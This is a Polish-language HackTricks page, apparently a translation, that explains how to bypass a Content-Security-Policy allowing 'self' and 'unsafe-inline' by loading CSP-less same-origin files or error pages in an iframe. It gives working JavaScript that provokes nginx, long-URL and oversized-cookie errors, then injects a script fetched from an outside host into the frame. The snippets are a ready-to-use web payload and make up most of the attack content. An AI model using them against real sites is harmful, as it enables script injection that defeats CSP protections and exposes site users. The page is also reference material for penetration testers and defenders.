CSP bypass: self + 'unsafe-inline' with Iframes

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Konfiguracja taka jak:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Zabrania korzystania z funkcji, które wykonują kod przesyłany jako ciąg znaków. Na przykład: eval, setTimeout, setInterval będą zablokowane ze względu na ustawienie unsafe-eval.

Zawartość zewnętrznych źródeł jest również blokowana, w tym obrazy, CSS, WebSockets, a zwłaszcza JS.

Za pomocą tekstu i obrazów

Zauważono, że nowoczesne przeglądarki konwertują obrazy i tekst na HTML w celu poprawy ich wyświetlania (np. ustawianie tła, wyśrodkowywanie itp.). W rezultacie, jeśli obraz lub plik tekstowy, takie jak favicon.ico lub robots.txt, jest otwierany za pomocą iframe, jest renderowany jako HTML. Warto zauważyć, że te strony często nie mają nagłówków CSP i mogą nie zawierać X-Frame-Options, co umożliwia wykonanie dowolnego kodu JavaScript z nich:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Przez błędy

Podobnie, odpowiedzi błędów, takie jak pliki tekstowe lub obrazy, zwykle nie zawierają nagłówków CSP i mogą pomijać X-Frame-Options. Błędy mogą być spowodowane, aby załadować się w ramce iframe, umożliwiając następujące działania:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Po wywołaniu któregokolwiek z wymienionych scenariuszy, wykonanie kodu JavaScript w ramce jest możliwe w następujący sposób:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated